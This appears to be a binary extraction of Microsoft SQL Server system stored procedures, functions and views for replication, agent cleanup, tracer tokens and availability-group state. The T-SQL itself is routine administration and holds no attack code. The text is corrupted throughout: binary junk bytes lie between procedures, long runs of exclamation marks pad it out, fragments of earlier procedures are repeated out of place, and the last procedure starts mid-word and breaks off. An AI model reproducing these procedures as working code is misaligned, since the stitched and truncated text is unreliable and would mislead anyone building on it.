    select @found = 0, @repl_columns = 0

    DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
    select column_id from sys.columns where object_id = @objid order by column_id asc

    OPEN hCColid

    FETCH hCColid INTO @this_col

    WHILE (@@fetch_status <> -1)
    begin
    exec @isset = sys.sp_isarticlecolbitset @this_col, @artid

        if @isset != 0 and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed<>1)       
    begin
        select @repl_columns = @repl_columns + 1
           exec sys.sp_MSget_type @objid, @this_col, @colname output, @typestring OUTPUT

           if @typestring = N'timestamp' or ColumnProperty(@objid, @colname, 'IsIdentity') = 1
            select @found = 1
    end

       FETCH hCColid INTO @this_col
    end
    CLOSE hCColid
    DEALLOCATE hCColid

    if @found = 1 and @repl_columns = 1
        return 1
    else
        return 0
0Ic@ D8?h
(2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\`<c-]70!n@ 8
create procedure sys.sp_table_type_pkeys
(
    @table_name      sysname,
    @table_owner     sysname = null,
    @table_qualifier sysname = null
)
as
    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    select
        TABLE_QUALIFIER  = s_pkv.TABLE_CATALOG,
        TABLE_OWNER      = s_pkv.TABLE_SCHEMA,
        TABLE_NAME       = s_pkv.TABLE_NAME,
        COLUMN_NAME      = s_pkv.COLUMN_NAME,
        KEY_SEQ          = s_pkv.ORDINAL,
        PK_NAME          = s_pkv.PK_NAME
    from
        sys.spt_table_type_primary_keys_view s_pkv
    where
        (@table_name is null or s_pkv.TABLE_NAME = @table_name) and
        (@table_owner is null or schema_id(@table_owner) = s_pkv.schema_id)
    order by 1, 2, 3, 5
0j 8CREATE VIEW sys.dm_hadr_database_replica_cluster_states AS
	SELECT
		*
	FROM
		OpenRowset(TABLE DM_HADR_DATABASE_REPLICA_CLUSTER_STATES) AS drcs
0gN~@ \8YZh)>*8^+	q,07r D8h'0x@ 8create procedure sys.sp_posttracertoken
(
	@publication sysname,
	@tracer_token_id int = NULL output,
	@publisher sysname = NULL
)
AS
BEGIN

	SET NOCOUNT ON
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_posttracertoken'

	EXEC @retcode = @cmd
					@publication,
					@tracer_token_id output,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
0X 8CREATE PROCEDURE sys.sp_MScleanup_agent_entry
AS
    declare @min_valid_day 		datetime
	, @publisher_id 		int
	, @subscriber_id 		int
	, @publication 			sysname
	, @publication_id		int
	, @publisher_db 		sysname
	, @subscriber_db 		sysname
	, @retention 			int
	, @publication_type 	int
	, @agent_id			int
	, @num_dropped	int
	, @retcode int
	, @retention_period_unit tinyint

    set nocount on
    select @num_dropped = 0

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

	declare PC CURSOR LOCAL FAST_FORWARD for 
		select distinct publisher_id, publisher_db, publication, retention, publication_type, 
			retention_period_unit, publication_id
		from MSpublications
		where retention<>0
	open PC
	fetch PC into @publisher_id, @publisher_db, @publication, @retention, @publication_type, 
		@retention_period_unit, @publication_id
	while (@@fetch_status <> -1)
    begin    
		if @publication_type = 2  --merge publication
		begin
    		select @min_valid_day = sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate())

		    declare hC CURSOR LOCAL FAST_FORWARD FOR 
				select msa.id from dbo.MSmerge_agents msa
				where msa.creation_date < @min_valid_day
    			and not exists 
    			(
    				select * from dbo.MSmerge_sessions sess
    				where sess.agent_id = msa.id 
    				and sess.end_time > @min_valid_day
    			)
    			and msa.publisher_id = @publisher_id
    			and msa.publisher_db = @publisher_db
    			and msa.publication = @publication   
	    		and msa.anonymous_subid is not null		-- Only do this for anonymous agents
				and not exists 
				(
					select * from dbo.MSmerge_subscriptions mss
					where mss.publisher_id = @publisher_id
					and mss.publisher_db = @publisher_db
    				and mss.publication_id = @publication_id
    				and upper(mss.subscriber) = upper(msa.subscriber_name)
    				and mss.subscriber_db = msa.subscriber_db
    				and mss.subscriber_version >= 90
    			)
			for read only
			open hC
			fetch hC into @agent_id
			while (@@fetch_status <> -1)
			begin
				exec @retcode = sys.sp_MSdrop_merge_agentid @agent_id
				if @retcode <> 0 or @@error <> 0
					return (1)
				select @num_dropped = @num_dropped + 1
				fetch hC into @agent_id
			end
			close hC
			deallocate hC
		end
   		else if @publication_type in (0,1) --Tran level publication
  			begin  
    			select @min_valid_day = dateadd(hour, @retention * (-1), getdate())    
				-- Only do this for anonymous agents
			    declare hC CURSOR LOCAL FAST_FORWARD FOR 
					select id from MSdistribution_agents where creation_date < @min_valid_day
						and not exists (select * from MSdistribution_history where agent_id = id and time > @min_valid_day)
						and publisher_id=@publisher_id
    					and publisher_db = @publisher_db
    					and publication = @publication            
	    				-- Only do this for anonymous agents
						and subscriber_name is not null         	            	
				for read only
				open hC
				fetch hC into @agent_id
				while (@@fetch_status <> -1)
				begin
					exec @retcode = sys.sp_MSdrop_distribution_agentid @agent_id
					if @retcode <> 0 or @@error <> 0
						return (1)
					select @num_dropped = @num_dropped + 1
					fetch hC into @agent_id
				end
			close hC
			deallocate hC
        	end
      	fetch PC into @publisher_id, @publisher_db, @publication, @retention, @publication_type, 
      		@retention_period_unit, @publication_id
    end
    close PC
    deallocate PC
	if @num_dropped > 0
		RAISERROR(20597, 10, -1, @num_dropped) 
   	return (0)
FAILURE:
    close PC
    deallocate PC
   	return (1)		
0X D8Q(hI	0<o 8CREATE FUNCTION sys.fn_replsubtractkomododuration
(
	@repl_date			datetime,
	@komodo_duration	int,
	@as_time			bit = 0
)
RETURNS int
AS
BEGIN
	DECLARE @result	int,
			@hour	int,
			@min	int,
			@sec	int,
			@date	datetime

	IF @repl_date = '1753-01-01 00:00:00.000'
	BEGIN
		SELECT @date = @repl_date
	END
	ELSE
	BEGIN
		SELECT @komodo_duration = ABS(@komodo_duration)
		SELECT @hour = @komodo_duration/10000
		SELECT @min = (@komodo_duration - (@hour * 10000))/100
		SELECT @sec = @komodo_duration - (@hour * 10000) - (@min * 100)

		SELECT @date = dateadd(ss, -@sec, dateadd(mi, -@min, dateadd(hh, -@hour, @repl_date)))
	END
	
	IF @as_time = 1
	BEGIN
		SELECT @result = ISNULL(CONVERT(int, REPLACE(CONVERT(varchar(12), @date, 108), ':', '')), 000000)
	END
	ELSE
	BEGIN
		SELECT @result = ISNULL(CONVERT(int, CONVERT(varchar(12), @date, 112)), 17530101)
	END	

	RETURN @result
END
0# D8[h
l,	pl_posttracertoken'

	EXEC @retcode = @cmd
					@publication,
					@tracer_token_id output,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&[]u1`b
<W5筬0@ G8create procedure sys.sp_addscriptexec
(
    @publication    sysname,
    @scriptfile        nvarchar (4000),
    @skiperror        bit = 0,
    @publisher        sysname = NULL
)
AS
BEGIN
    DECLARE @cmd        nvarchar(4000)
    DECLARE @retcode    int

    SET @retcode = 0
    
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo    @publisher    = @publisher,
                                                    @rpcheader    = @cmd OUTPUT
    
    IF @retcode <> 0
        RETURN (@retcode)

    -- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
    set @cmd = @cmd + N'sys.sp_MSrepl_addscriptexec'

    EXEC @retcode = @cmd
                    @publication,
                    @scriptfile,
                    @skiperror

    RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`;<D}G1{|0C ,8
create procedure sys.sp_primary_keys_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        ORDINAL
        PK_NAME
    from
        sys.fn_remote_primary_keys(@table_server, @table_catalog, @table_schema, @table_name)
    order by 1,2,3
0V X8CREATE PROC sys.sp_flush_commit_table_on_demand (@numrows as BIGINT = NULL) AS
BEGIN
	
	IF (is_srvrolemember('sysadmin') = 0)
	BEGIN
		raiserror(21089,0,1)
		return 1
	END


	IF (@numrows<=0)
	BEGIN
		raiserror(23100,0,1)
		return 1
	END
	

	SET DEADLOCK_PRIORITY LOW

	-- checking for change tracking side table watermark
	DECLARE @cleanup_ts BIGINT
	SET		@cleanup_ts = change_tracking_hardened_cleanup_version ()

	-- checking for safe cleanup watermark
	DECLARE @cleanup_version BIGINT
	set @cleanup_version = safe_cleanup_version ()

	IF @cleanup_ts > @cleanup_version
		SET @cleanup_ts = @cleanup_version 
	
		
	IF (@numrows is null)
	BEGIN
		DELETE TOP(10000) sys.syscommittab WHERE commit_ts < @cleanup_ts			
		WHILE(@@ROWCOUNT>0)
			DELETE TOP(10000) sys.syscommittab WHERE commit_ts < @cleanup_ts
	END	
	ELSE IF( @numrows > 10000)													
	BEGIN
		DELETE TOP(10000) sys.syscommittab WHERE commit_ts < @cleanup_ts	
		SET @numrows-=10000
		WHILE(@numrows > 0 and @@ROWCOUNT > 0)
		BEGIN
			DELETE TOP(10000) sys.syscommittab WHERE commit_ts < @cleanup_ts
			SET @numrows-=10000
		END
	END
	ELSE 
		DELETE TOP(@numrows) sys.syscommittab WHERE commit_ts < @cleanup_ts	

	DECLARE @dbname sysname
	SET @dbname= DB_NAME()

	raiserror(21092,-1,-1,@dbname) WITH LOG
	
END			
0UL@ +8
CREATE PROCEDURE sys.sp_getOraclepackageversion
(
    @publisher          sysname,
    @packageversion     nvarchar(256)  OUTPUT
)
AS
BEGIN
    set nocount on
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
        @publisher        = @publisher,
        @rpcheader        = @cmd OUTPUT,
        @publisher_type   = @publisher_type OUTPUT
    IF @retcode <> 0
        RETURN (@retcode)

    -- Reject unsupported publisher types
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END                                                                     

    SELECT @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_getOraclepackageversion'
    
    EXEC @retcode = @cmd
                    @publisher,
                    @packageversion OUTPUT

    RETURN (@retcode)
END
0K P8`ShV>WAy0_@ S8
create procedure sys.sp_validatemergepublication
	(@publication			sysname,
	 @level					tinyint
	 ) AS
	 
	set nocount on 
	declare @artid					uniqueidentifier
	declare @schematype				int
	declare @schemaversion			int
	declare @schemaguid				uniqueidentifier
	declare @schematext				nvarchar
	declare @retcode				int
	declare @pubid					uniqueidentifier
	declare @compatlevel int
	
	/*
	** Security Check
	*/
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		return (1)

	/* make sure current database is enabled for merge replication */
	exec @retcode=sys.sp_MSCheckmergereplication
	if @@ERROR<>0 or @retcode<>0
		return (1)

	select @pubid = pubid, @compatlevel = backward_comp_level from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
	if @pubid is NULL
	begin
		raiserror (20026, 16, -1, @publication)
		return (1)
	end
	if @level <1 or @level > 3
	begin
		raiserror(21184, 16, -1, '@level', '1', '2','3')
		return (1)
	end

    if @compatlevel < 30
    begin
    	raiserror(21356, 10, -1, @publication)
    	exec @retcode=sys.sp_MSBumpupCompLevel @pubid, 30 
    	if @@ERROR<>0 or @retcode<>0		
    		return (1)
    end
    
	select @schemaversion = schemaversion from dbo.sysmergeschemachange
	if (@schemaversion is NULL)
		set @schemaversion = 1
	else
		select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
		set @schemaguid = newid()
		set @artid = newid()
		set @schematype = 66 /* publication wide validation */
		select @schematext = convert(nvarchar, @level)		
		exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
		if @@ERROR<>0 or @retcode<>0
			return (1)
	return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!_`<ul0'j0@ )8create procedure sys.sp_MScheckcontext_internalcaller @is_biton bit output
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_second_byte binary(1)
    declare @returnbitmask tinyint
        
    select @returnbitmask = 1    
    
    -- get the current context_info. 
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the second byte out of the 128 byte array.
    select @cur_context_second_byte = substring(@cur_context, 2, 1)
    
    -- check whether it has the merge agent bit set.
    select @returnbitmask = (convert(tinyint,@cur_context_second_byte) & @returnbitmask)
    -- set the output param value appropriately.
    select @is_biton = case when @returnbitmask = 0 then 0 else 1 end
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<P0op 8CREATE VIEW sys.dm_hadr_internal_availability_group_states AS
	SELECT
		group_id = IntAgStates.group_id,
		primary_replica = IntAgStates.primary_replica,
		configured_replica_count = IntAgStates.configured_replica_count,
		local_replica_role = IntAgStates.local_replica_role
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_AVAILABILITY_GROUP_STATES) AS IntAgStates
0׽@ 8create procedure sys.sp_MSscript_endtrig
as
BEGIN
    set nocount on
    declare @cmd nvarchar(4000)

    select @cmd = N'
    if (@@trancount > 0)
        commit tran
    return 

FAILURE:
    if (@@trancount > 0)
    begin
        exec sys.sp_MSreplraiserror 20512
        rollback tran
    end '
    insert into #proctext(procedure_text) values(@cmd)
END
0 ^8create procedure sys.sp_MSget_max_used_identity
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @article sysname,
    @max_used numeric(38,0) output
)
as
    set nocount on

    declare @retcode tinyint
    declare @publisher_id int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    -- Has to be executed from distribution database
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
        raiserror (21482, 16, -1, 'sp_MSget_max_used_identity', 'distribution')
        return 1
    end

    select @publisher_id = srvid
        from master..sysservers
        where upper(srvname) = upper(@publisher)
    if @publisher_id is NULL
    begin
        -- Publisher @publisher does not exist.
        raiserror(21618, 16, -1, @publisher)
        return 1
    end

    select top 1 @max_used = max_used from dbo.MSmerge_identity_range_allocations 
        where publisher_id = @publisher_id and 
              publisher_db = @publisher_db and 
              publication = @publication and 
              article = @article
    order by time_of_allocation desc
    if @@error<>0 
        return 1

    return 0
    
0 
8create procedure sys.sp_replmonitorhelppublicationthresholds 
(
    @publisher sysname -- cannot be null
    ,@publisher_db sysname -- cannot be null
    ,@publication sysname -- cannot be null
    ,@publication_type int = NULL -- NULL for wildcard, 0 transactional 1 snapshot 2 merge    
    ,@thresholdmetricname sysname = NULL -- NULL for all entries
)
as
begin
    set nocount on
    declare @retcode int
        ,@publisher_id int
        ,@publication_id int

    --
    -- security check : replmonitor
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
    	raiserror (21482, 16, -1, 'sp_replmonitorhelppublicationthresholds', 'distribution')
    	return 1
    end
    --
    -- Validate @publisher
    --
    select @publisher_id = server_id
    from sys.servers 
    where upper(name) = upper(@publisher)
    if (@publisher_id is null)
    begin
        raiserror(21618, 16, -1, @publisher)
        return 1
    end
    --
    -- validate publication
    --
    if not exists (select publication_id
                        from dbo.MSpublications 
                        where publisher_id = @publisher_id
                            and publisher_db = @publisher_db
                            and publication = @publication
                            and publication_type= case when (@publication_type is null) then publication_type else @publication_type end)
    begin
        raiserror(20026, 16, 1, @publication)
        return 1
    end
    --
    -- validate metric
    --
    if (@thresholdmetricname is not null)
    begin
        if not exists (select metric_id
                from msdb.dbo.MSreplmonthresholdmetrics
                where title = lower(@thresholdmetricname))
        begin
            raiserror(14200, 16, 2, '@thresholdmetricname')
            return 1
        end
    end
    --
    -- prepare the resultset to display
    --
    if @publication_type IS null
    select t.metric_id, m.title, cast(t.value as int) as value, t.shouldalert, t.isenabled
    from (dbo.MSpublicationthresholds as t join dbo.MSpublications as p
        on t.publication_id = p.publication_id 
        and p.publisher_id = @publisher_id
        and p.publisher_db = @publisher_db
        and p.publication = @publication) 
        join         
        msdb.dbo.MSreplmonthresholdmetrics as m
        on t.metric_id = m.metric_id
        and m.title = case when (@thresholdmetricname is null) then m.title
                            else lower(@thresholdmetricname) end
    else
     select t.metric_id, m.title, cast(t.value as int) as value, t.shouldalert, t.isenabled
    from (dbo.MSpublicationthresholds as t join dbo.MSpublications as p
        on t.publication_id = p.publication_id 
        and p.publisher_id = @publisher_id
        and p.publisher_db = @publisher_db
        and p.publication = @publication and p.publication_type=@publication_type) 
        join         
        msdb.dbo.MSreplmonthresholdmetrics as m
        on t.metric_id = m.metric_id
        and m.title = case when (@thresholdmetricname is null) then m.title
                            else lower(@thresholdmetricname) end
    --
    -- return
    --
    return 0
end
0 P8,h>@--
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    -- Has to be executed from distribution database
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
        raiserror (21482, 16, -1, 'sp_MSget_max_used_identity', 'distribution')
        return 1
    end

    select @publisher_id = srvid
        from master..sysservers
        where upper(srvname) = upper(@publisher)
    if @publisher_id is NULL
    begin
        -- Publisher @publisher does not exist.
        raiserror(21618, 16, -1, @publisher)
        return 1
    end

    select top 1 @max_used = max_used from dbo.MSmerge_identity_range_allocations 
        where publisher_id = @publisher_id and 
              publisher_db = @publisher_db and 
              publication = @publication and 
              article = @article
    order by time_of_allocation desc
    if @@error<>0 
        return 1

    return 0
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<ZJ/~jnsert #workload_breakdown values (@name, @artid, 1, @taskload)
                -- Cost of adding the command
                select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1

                -- XProp script?
                if (@schema_option & 0x2000) <> 0x0
                begin
                    -- Cost of script generation 
                    select @taskload = @dmoscriptcost + @scriptproccost
                    insert #workload_breakdown values (@name, @artid, 3, @taskload)
                    -- Cost of adding command
                    select @addcommandstotal = @addcommandstotal + @addcommandcost
                -- Increment scripts counter
                select @numscripts = @numscripts + 1
                end
            end
        end
        else -- Log based articles, requires bcp
        begin
           select @taskload = 0
           -- See if a custom creation script will be used 
